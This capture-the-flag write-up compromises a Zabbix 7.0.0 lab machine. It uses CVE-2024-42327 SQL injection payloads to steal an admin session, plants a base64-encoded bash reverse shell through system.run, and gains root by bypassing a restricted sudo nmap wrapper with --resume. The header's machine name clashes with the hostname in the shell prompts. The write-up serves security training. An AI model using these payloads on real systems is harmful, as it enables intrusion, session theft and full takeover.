Machine Info
Name | Sightless |
---|---|
OS | Linux |
Difficulty | Medium |
Release Date | 2024-12-05 |
Completed | 2025-03-09 |
In addition to the machine’s IP address, the credentials matthew:96qzn0h2e1k3
are provided.
Reconnaissance
nmap
nmap finds 4 open ports; 22/tcp (SSH), 80/tcp (HTTP), 10050/tcp (tcpwrapped), and 10051 (ssl/zabbix-trapper).
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 8000 -sCV 10.10.11.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 11:54 EST
Warning: 10.10.11.50 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.50
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.54 seconds
Port 22 (SSH) is running OpenSSH. Based on the version detected by nmap, the host is likely running Ubuntu 22.04 Jammy.
Port 80 (HTTP) is running Apache httpd 2.4.52. The web server, in conjunction with port 10051 (ssl/zabbix-trapper), suggests this machine is likely running Zabbix, an open-source network monitoring solution.
Apache httpd - Port 80
Navigating to http://10.10.11.50 in the browser redirects to http://10.10.11.50/zabbix/. This page is the Zabbix login screen.
For this machine, the Zabbix credentials are provided in the Machine Information section. After successfully logging in, the Zabbix dashboard is displayed. Although the dashboard does not have any data to display, it does provide version information for this Zabbix instance. Additionally, the dashboard indicates that a new update is available, meaning that Zabbix is not up to date. The system appears to be running Zabbix 7.0.0.
Vulnerability Analysis
Zabbix
Zabbix provides a helpful tool for searching security advisories and known vulnerabilities in Zabbix products. After filtering the list to show only vulnerabilities in version 7.0, and looking through the list for those that specifically affect version 7.0.0, there appear to be several critical and high severity vulnerabilities that may allow for privilege escalation. The most notable is CVE-2024-42327.
CVE-2024-42327
CVE-2024-42327 is a SQL injection vulnerability in the user.get
API. The Zabbix issue tracking this vulnerability reports that it is exploitable by non-admin users with the default User role, or any other role with API access. Additionally, the issue documents the class name (CUser
) and function (addRelatedObjects
) where the vulnerability exists. Armed with this knowledge, locating the exact commit where the issue was fixed is trivial.
The get
function begins by checking the current user’s permissions. Specifically, if the user is a super admin or if the editable
parameter was provided.
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
After constructing the primary query, and fetching basic user information, the addRelatedObjects
function is called to add additional details to the result that will be returned.
if ($result) {
$result = $this->addRelatedObjects($options, $result);
}
When the addRelatedObjects
function processes the selectRole
parameter, a query is constructed using the unsanitized user input. This can be seen in the DBselect
call.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
Given that the current user, matthew
, does not appear to be a super admin, providing a truthy value for the editable parameter should satisfy the permission check, allowing some information to be displayed.
Exploiting this vulnerability will require the use of the Zabbix API. Use of the API requires an authorization token that can be obtained by making an authentication request.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
The token received from the above request can then be included in subsequent API requests via the Authorization
header.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 646253f3e9754b624ce8e2e6e5257e70' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"id":1}'
The request above is taken from the user.get
API documentation, and should return a complete list of users. The response to this request, however, does not contain any results.
{"jsonrpc":"2.0","result":[],"id":1}
The response above is seemingly due to the permission check performed by the API endpoint. Modifying the request to include the editable
parameter, returns details of the current user.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 646253f3e9754b624ce8e2e6e5257e70' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1},"id":1}'
The response reveals the current userid
is “3”, and the roleid
of this user is “1”.
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0"
}
],
"id": 1
}
The PHP snippet below is used to construct the query that obtains the roles of the requested users. This code will take each value provided via the selectRole
parameter and join them with the string “,r.”. r.
is used to reference the role
table. Therefore, the provided values must be columns in the role
table.
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Based on the addRelatedObjects
function, providing the value extend
to the selectRole
parameter is equivalent to providing ['roleid', 'name', 'type', 'readonly']
. By providing only roleid
and name
, the expected response should contain only roleid
and name
.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 646253f3e9754b624ce8e2e6e5257e70' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name"]},"id":1}'
As made clear by the response, the values provided to the selectRole
parameter are being processed by the addRelatedObjects
function, and included in the constructed query.
{
"jsonrpc": "2.0",
"result": [
{
"userid": "3",
"username": "matthew",
"name": "Matthew",
"surname": "Smith",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "default",
"refresh": "30s",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50",
"timezone": "default",
"roleid": "1",
"userdirectoryid": "0",
"ts_provisioned": "0",
"role": {
"roleid": "1",
"name": "User role"
}
}
],
"id": 1
}
Exploitation
CVE-2024-42327
As previously covered in the Vulnerability Analysis section, unsanitized user input is directly used to construct the roles query.
Knowing what the query should look like makes it trivial to craft a new query. The request below should include all roles in the response, rather than just the current user’s role.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer bc905010e3ff28f8824bab5c8ea31ce2' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'
The injection was successful! The response reveals three roles - User role
, Super admin role
, and Guest role
.
{
"jsonrpc": "2.0",
"result": [
{
...
"role": {
"roleid": "1",
"name": "User role"
}
},
{
"role": {
"roleid": "3",
"name": "Super admin role"
}
},
{
"role": {
"roleid": "4",
"name": "Guest role"
}
}
],
"id": 1
}
Building off the previous query, additional columns such as userid
and username
may be selected. The addRelatedObjects
function specifically removes the userid
field using unset($db_role['userid']);
. To work around this, an alias can be used to rename the field in the results, causing it to not be removed.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 117f70c9cce159b315165c263bc7f50f' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name,u.userid AS uid,u.username FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'
This reveals two additional users. The Admin
user, which is assigned the Super admin role
, and the guest
user, which is assigned the Guest role
.
{
"jsonrpc": "2.0",
"result": [
{
...
"role": {
"roleid": "1",
"name": "User role",
"uid": "3",
"username": "matthew"
}
},
{
"role": {
"roleid": "3",
"name": "Super admin role",
"uid": "1",
"username": "Admin"
}
},
{
"role": {
"roleid": "4",
"name": "Guest role",
"uid": "2",
"username": "guest"
}
}
],
"id": 1
}
This information is helpful, but there are likely other tables that contain useful information. To obtain a list of tables that exist in the database, a subquery can be used. In order for the server to properly parse the the results of the subquery, and include them in the JSON response, the subquery must return a single value. This can be achieved using the GROUP_CONCAT function to concatenate a field from multiple rows into a single string.
The request below should include a list of all table names in the response. PortSwigger provides a SQL injection cheat sheet that is helpful for crafting these queries.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 117f70c9cce159b315165c263bc7f50f' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) AS table_names FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
...
actions
interface_snmp
operations
After carefully scanning through the complete list of table names, the sessions
table appears to be the most interesting. The schema for this table can be found in schema.tmpl
.
TABLE|sessions|sessionid|0
FIELD |sessionid |t_varchar(32) |'' |NOT NULL |0
FIELD |userid |t_id | |NOT NULL |0 |1|users
FIELD |lastaccess |t_integer |'0' |NOT NULL |0
FIELD |status |t_integer |'0' |NOT NULL |0
FIELD |secret |t_varchar(32) |'' |NOT NULL |0
INDEX |1 |userid,status,lastaccess
The sessions
table appears to associate a 32 character string, sessionid
, with a particular userid
. The authorization token used to make API requests as matthew
is also a 32 character string.
Having already obtained the userid
of the Admin
user, the following request should return the sessionid
associated with the user.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 117f70c9cce159b315165c263bc7f50f' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name, (SELECT sessionid FROM sessions WHERE userid=1) AS sessionid FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'
As seen in the response below, a sessionid
of 62f058e5f53c6b71bace780e62923a67
was returned.
{
"jsonrpc": "2.0",
"result": [
{
...
"role": {
"roleid": "1",
"name": "User role",
"sessionid": "62f058e5f53c6b71bace780e62923a67"
}
},
{
"role": {
"roleid": "3",
"name": "Super admin role",
"sessionid": "62f058e5f53c6b71bace780e62923a67"
}
},
{
"role": {
"roleid": "4",
"name": "Guest role",
"sessionid": "62f058e5f53c6b71bace780e62923a67"
}
}
],
"id": 1
}
To verify that the Admin
sessionid
works, a legitimate API request can be made. The server does not return any authorization errors, and returns the expected data. This means that other API requests can now be made as the Admin
user.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 62f058e5f53c6b71bace780e62923a67' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"id":1}'
Items are one of the core concepts of Zabbix. Items are used to receive a particular piece of data from a host. Items must be configured with a key, which defines the specific metric to be collected from a host. For example, system.hw.cpu
may be used to collect CPU information, while proc.mem
may be used to collect memory usage of a process.
One particularly interesting key is system.run
. This allows a specified command to be run on a host. In theory, this could be used to obtain a reverse shell on the host. The payload might look something like system.run[echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzcvOTAwMSAwPiYx | base64 -d | bash]
. The item.create
API documentation details how to create a new item using the API.
Before a new item can be created using the item.create
API, the hostid
and interfaceid
must be identified. The request below, using the host.get
API, should return a list of all hosts.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 1e2d8b72032fb00449c347988fd0d9ac' \
--data '{"jsonrpc":"2.0","method":"host.get","params":{},"id":1}'
A single host with ID 10084
exists.
{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10084",
"proxyid": "0",
"host": "Zabbix server",
...
"name": "Zabbix server",
...
}
],
"id": 1
}
Putting these pieces together, the item.create
API request below should send a reverse shell back to a nc
listener.
curl --request POST \
--url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--header 'Authorization: Bearer 1e2d8b72032fb00449c347988fd0d9ac' \
--data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"B","key_":"system.run[echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzcvOTAwMSAwPiYx | base64 -d | bash]","hostid":"10084","type":0,"value_type":4,"interfaceid":"1","delay":"30s"},"id":1}'
The server returns a new itemid
indicating that the item was successfully created.
{"jsonrpc":"2.0","result":{"itemids":["47183"]},"id":1}
Additionally, a new reverse shell was successfully received. The user is zabbix
.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.137] from (UNKNOWN) [10.10.11.50] 55500
bash: cannot set terminal process group (6443): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
Before proceeding any further, the reverse shell is upgraded to provide a more interactive experience.
Listing the contents of /home
reveals a directory with the name matthew
. Listing the content of /home/matthew
reveals the user flag, user.txt
.
zabbix@unrested:/$ ls /home
matthew
zabbix@unrested:/$ ls /home/matthew
user.txt
zabbix@unrested:/$ cat /home/matthew/user.txt
262e6aa3************************
Privilege Escalation
root
As zabbix
, running sudo -l
shows that /usr/bin/nmap
may be run as a privileged user.
zabbix@unrested:/$ sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
Looking to GTFOBins for a potential privilege escalation vector, there appear to be several techniques.
The first approach uses the --script
option to spawn a new shell using a Lua script that calls os.execute
. Unfortunately, this results in an error message indicating script mode is disabled.
zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/bash")' > $TF
zabbix@unrested:/$ sudo nmap --script=$TF
Script mode is disabled for security reasons.
The second approach documented by GTFOBins uses the --interactive
option, which starts nmap
in interactive mode. This mode allows shell commands to be run, effectively allowing a new privileged shell to be started by running !sh
. GTFOBins also notes that this option is only available in versions 2.02 to 5.21.
After checking the installed version of nmap
, this approach does not appear to be viable, as version 7.80 does not include the --interactive
option. Attempting to use the --interactive
option displays a message that interactive mode is disabled.
zabbix@unrested:/$ nmap --version
Nmap version 7.80 ( https://nmap.org )
zabbix@unrested:/$ sudo nmap --interactive
Interactive mode is disabled for security reasons.
Looking more closely at /usr/bin/nmap
reveals that it is not actually the nmap
binary, but a bash script that restricts what options may be used. In addition to the --script
and --interactive
options, -oG
and -iL
are also disallowed.
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
After reviewing the nmap
man page, the --resume
option seems like it may allow nmap
to be executed with the desired options, without directly passing them as arguments. Instead, the arguments will be parsed from an existing nmap
output file, effectively bypassing the restrictions created by the /usr/bin/nmap
script.
To determine what a properly formatted output file looks like, nmap
can be run with the -oN
option. The first line of the output file, below, contains the full command, including arguments used for the scan.
# Nmap 7.80 scan initiated Tue Mar 11 02:25:00 2025 as: /usr/bin/nmap.original -oN /tmp/tmp.EcOSvbmoTx 127.0.0.1
Using the same approach outlined by GTFOBins, a script can be created that will spawn a new bash shell.
zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/bash")' > $TF
zabbix@unrested:/$ echo $TF
/tmp/tmp.S1dHYnoVhV
With the script created, the output file can then be updated to call that script.
# Nmap 7.80 scan initiated Tue Mar 11 02:25:00 2025 as: /usr/bin/nmap.original --script /tmp/tmp.S1dHYnoVhV 127.0.0.1
Finally, calling sudo nmap --resume /tmp/tmp.EcOSvbmoTx
will parse the output file, re-executing nmap
with the new arguments. This will result in a new root
shell being spawned. Listing the contents of /root
reveals the root flag, root.txt
.
root@unrested:/# ls /root
root.txt
root@unrested:/# cat /root/root.txt
2111a8ca************************